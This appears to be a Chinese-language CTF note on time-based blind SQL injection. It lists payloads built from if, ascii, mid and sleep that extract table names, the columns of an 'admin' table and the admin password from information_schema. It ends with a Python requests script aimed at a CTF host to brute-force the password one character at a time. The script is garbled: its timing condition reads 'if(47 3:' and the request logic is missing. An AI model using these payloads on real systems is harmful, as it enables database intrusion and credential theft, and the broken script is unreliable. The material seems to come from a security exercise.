一、语句

测试语句：

if(ascii(mid(1,1,1))like(49),sleep(3),1)

1、表：

if(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database()))),1,1))like(97),sleep(30),1)

2、列：

if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where((table_name)like(0x61646d696e))),1,1))like(105),sleep(30),1)

3、字段

if(ascii(mid((select(group_concat(password))from(admin)),1,1))like(55),sleep(30),1)

二、跑密码的脚本

import requests
from time import sleep

url = "http://ctf1-1.anfu.hillstonenet.com:8081/single.php?id="



for i in range(1, 33):
   for j in range(47, 128):
       if(47 3:
               print(chr(j))
               break